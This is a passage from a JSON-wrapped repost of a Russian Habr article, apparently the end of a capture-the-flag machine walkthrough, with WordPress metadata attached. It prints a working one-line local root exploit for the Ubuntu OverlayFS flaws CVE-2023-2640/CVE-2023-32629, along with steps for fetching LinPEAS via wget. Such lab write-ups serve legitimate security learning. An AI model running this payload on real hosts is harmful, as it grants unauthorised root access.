\u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c <code>python3 http.server<\/code>, \u043f\u0435\u0440\u0435\u043a\u0438\u043d\u0435\u043c \u0447\u0435\u0440\u0435\u0437 <code>wget<\/code> <strong>LinPEAS<\/strong> \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0435\u0433\u043e \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435:<\/p>\n<figure class=\"full-width\"><\/figure>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c \u0432\u0435\u0440\u0441\u0438\u044e Ubuntu \u0438 \u043d\u0430\u0439\u0434\u0435\u043c \u043f\u043e\u0434 \u043d\u0435\u0435 <a href=\"https:\/\/github.com\/g1vi\/CVE-2023-2640-CVE-2023-32629\" rel=\"noopener noreferrer nofollow\">\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c<\/a> \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u041b\u0438\u0431\u043e \u043c\u043e\u0436\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u041e\u0421 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>cat \/etc\/os-release<\/code>. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f\u043c\u0438 \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0443\u043b\u044f <strong>OverlayFS<\/strong> \u0432 \u044f\u0434\u0440\u0435 Linux. <strong>OverlayFS<\/strong> &#8212; \u044d\u0442\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u044b\u043c \u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043e\u043c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438\u0437-\u0437\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043b\u0435\u0433\u043a\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a. \u0421\u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0441 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0435\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439:<\/p>\n<pre><code>unshare -rm sh -c \"mkdir l u w m &amp;&amp; cp \/u*\/b*\/p*3 l\/;setcap cap_setuid+eip l\/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &amp;&amp; touch m\/*;\" &amp;&amp; u\/python3 -c 'import os;os.setuid(0);os.system(\"cp \/bin\/bash \/var\/tmp\/bash &amp;&amp; chmod 4755 \/var\/tmp\/bash &amp;&amp; \/var\/tmp\/bash -p &amp;&amp; rm -rf l m u w \/var\/tmp\/bash\")'<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u041c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u0430!<\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/774184\/\"> https:\/\/habr.com\/ru\/articles\/774184\/<\/a><br \/><\/br><\/br><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-360261","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/360261","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=360261"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/360261\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=360261"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=360261"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=360261"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}